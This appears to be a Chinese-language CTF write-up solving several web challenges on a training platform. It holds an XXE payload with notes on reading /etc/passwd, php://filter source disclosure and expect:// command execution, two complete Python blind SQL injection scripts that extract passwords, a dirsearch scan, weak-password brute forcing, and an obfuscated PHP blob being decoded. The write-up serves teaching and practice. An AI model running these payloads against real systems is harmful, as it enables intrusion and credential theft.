[青少年CTF训练平台]web部分题解(已完结!)
文章管理系统
首先打开环境(>ω ]> &xxe; /* 1.读取任意文件 file 协议,file:///etc//passwd php 协议,php://filter/read=convert.base64-encode/resource=index.php 2.执行系统命令 PHP环境中PHP的expect模块被加载 expect://ipconfig 3.内网探测 http://192.168.0.128:80 参见:https://xz.aliyun.com/t/3357#toc-11 */
首先修改http后的代码,触发bug:
GET /simplexml_load_string.php HTTP/1.1
然后带入下边的一把梭的本题代码:
]> &xxe;
得到flag:
qsnctf{c786d4cb0d5647a3a3ddd7103e3ab964}
bp操作的两步记得分开进行,先触发bug,再一把梭,不然可能无回响哦。。。。
Easy_SQLi
打开环境看了一下,只有类似弱口令这样子的login端口,但是题目却叫做sqli,一时间我没找到类似于:“id=1”一类的keyword,所以呢还是先尝试弱口令:
ok,打开bp
选择类似图中绿色块中用“§”修改,分别爆破,我这里没有使用混合爆破,主要是因为自己的老年电脑实在算不动混合爆破的数字量,这里我算出来的答案是“admin”和“123456”。
因为我这里是边做边写wp,所以并不清楚这道题的密码会不会因为每次开靶机的不同发生变化,也就是有没有加入弱口令的动态密码,所以,请师傅不要直接复制粘贴密码,按着操作来一遍,效果一致^_^。
这里可以使用自己的密码本,如果有新师傅没有密码本可以私信给我,我给师傅们发我的密码本
登陆成功!
接下来复制url放进脚本,这里送两个类型题脚本,可以根据自己电脑情况选择:
格式:登陆界面url+/login.php
脚本1:(吃配置,快)
import requests import time url = ""#网站放这里 flag = "" for num in range(1,100): for i in range(33,127) : data = {'uname':"' or 1=1 and ascii(substr((select group_concat(password) from information_schema.columns where table_schema=database()),{0},1))={1}#".format(num,i),'psw':'1'} res = requests.post(url = url, data = data) time.sleep(0.05) if res.text == "Login successful" : flag += chr(i) break print(flag)
脚本2:(不吃配置,慢慢破)‘
import requests url = ''#这里放url res = "" for i in range(1, 48, 1): for j in range(32, 128, 1): # payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{j},sleep(0.5),0)#' # payload = f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{i},1))>{j},sleep(0.5),0)#" payload = f"if(ascii(substr((select group_concat(password) from users),{i},1))>{j},sleep(0.5),0)#" data = { 'uname': "admin' and "+payload, 'psw':123456 } try: r = requests.post(url=url, data=data,timeout=0.2) except Exception as e: continue res += chr(j) print(res) break
得到flag:
qsnctf{145435737e6c460abcab2d93e2d46c7d}
雏形系统
打开环境后映入眼帘的是登陆系统,那就像之前一样考虑sql 以及弱口令:
结果折腾半天啥也没有,这是一个可修改的界面,那没办法了试一试dirsearch扫描:
kali启动!
dirsearch -u http://challenge.qsnctf.com:32147/ -e all//中间替换成自己的url
扫描到了www.zip
那可以直接打开了:
解压以后出现两个文件,看过以后robots.txt里边没东西,直接打开“qsnctf.php”就可以了
qsnctf.php
Login Page body { font-family: Arial, sans-serif; background-color: #f0f0f0; padding: 20px; } .container { max-width: 400px; margin: 0 auto; background-color: #fff; padding: 20px; border-radius: 5px; box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); } .alert { padding: 10px; background-color: #f8d7da; color: #721c24; border-radius: 5px; margin-bottom: 10px; } form { margin-bottom: 20px; } form input[type="text"], form input[type="password"], form input[type="submit"] { width: 100%; padding: 10px; margin-bottom: 10px; border: 1px solid #ccc; border-radius: 3px; } form input[type="submit"] { background-color: #007bff; color: #fff; border: none; cursor: pointer; }Welcome to the login testing page!
审计完以后,去掉无用的图层一系列代码,剩下用的就是
大眼一看混淆,考的还挺新的,给大家送一个博客,我只讲这题。。。0.0“奇安信攻防社区-phpjm混淆解密浅谈”
(2024.3.8笔者随笔:还是补充一下吧,这道题用到的是phpjm的混淆内容还原,大致操作步骤理解为看到下边类似qsnctf.php文件类型的代码,需要你还原一下原来的代码长什么样子,具体操作方法有三个“手动结混淆”,“debug解混淆”,“编写脚本”。编写的脚本在上边的博客中。)
先把qsnctf.php的eval改成echo
得出这个乱七八糟的东西:
$O0O000="KXpJtRrgqUOHcFewyoPSWnCbvkfMIdmxzsELYZBVGhDNuaATlQjiTaMhyQJUrZntqeKBsNwRckmlodVASYpWxjLEbIfCgvOFuizDPGXHwO9BitzTSmzUSgCsqp9sa3hPqg9sYgPuIsUBTDjTmHzUSmfXlgexqsfxigdTSmzUStjTSmzUSmzUSmfBYchjicAUhg5PKtG7mHzUSmzUSmzUqtCHlgPXSmQBbaFxnBNUSmzUSmzUStf1bpWMbsfpYc5XYgPolHfVa3QoZ3Qsic5kTmP7mHzUSmzUSmzUSmzUSmQ0igPxED5uIav0nXMGDeNNhtQNiaAywkfvq3AMnBNUSmzUSmzUSt0TSmzUSt0TSmzUSgFjbaFxStYomHzUSmf7mHzUSmzUSmzUqtCHlgPXSmQxIaU7mHzUSmzUSmzUqtCHlgPXSmQvI2Z7mHzUSmzUSmzUqtCHlgPXSmQMlkQPlkQMl247mHzUSmzUSmzUqtCHlgPXSgI1lpF0ic9uSe9VIgCxYth1b3GNTajTSmzUSmzUSmzUSmzUIcFNlszHRgdUCth5StFPqpPvlgP6IRfFIRLHnBNUSmzUSmzUSmzUSmzdYgvMqs0+ic5xqgCXYmUMnBNUSmzUSmzUSt0TSmzUSmzUSmfpYc5XYgPolHfMlkFBIcF0TmP7mHzUSmzUSmzUSmzUSgPpTmQ0igPxED5xIaU9wRYHl3dkhHbdYgvMqs0+bcYPwD0kIcPkitQPIc4kTGNUSmzUSmzUSmzUSmf7mHzUSmzUSmzUSmzUSmzUSmfPb2voSmQ0igPxED5MlkQPlkQMl247mHzUSmzUSmzUSmzUSt0TSmzUSmzUSmzUSmzUIcFNlszH8h+IvDL45lTf8h+SjHS7mHzUSmzUSmzUVGNUSmzUVGNTSmzUSgFjbaFxSLQPlc8TSmzUStjTSmzUSmzUSmfBYchjicAUhgL7mHzUSmzUSmzUq3QvYgPXSgI1lpF0ic9uSe9Vb2ejleF0baQMbsUdbcF0ic9uEmzdIg8MmHzUSmzUSmzUKBNUSmzUSmzUSmzUSmfklg9HbcBUhgS7mHzUSmzUSmzUSmzUSmQHTmQdl1jBaRd7mHzUSmzUSmzUVGNUSmzUVGNTSmzUSmQHSO0Uhe9GD1FZcsYBbaFxY29sImYYnBNUSmzUhgLUwRzda1fwZ1Qlh3CxIahubc1Ph107mHzUSmfzYc5xIahMbcWMKpZNhgLMnBNUSmzUicbUTmeMq3FPYmUdbHdMStjTSmzUSmzUSmfPb2voSmS9wD09wD09wD09wD09wD09wD1GDeNURc5BYaGUcc91qHfnbc1PSD09wD09wD09wD09wD09wD09wRS7mHzUSmf9mHzUSmfMIHUdbD09h2edlcPuhsbphgS9wRSkixepYcv1h3AUYgCxYmfdIc1oSHdTSmzUStjTSmzUSmzUSmfPb2voTmEkploPoIapHhOPHM8HTDjTSmzUSt0TmHzUSmz/wU=="; eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000), $OO0O00($O0O000,0,$OO0000))));?>
替换echo后边的:
这样就得到了源码,长这样:
还没有评论,来说两句吧...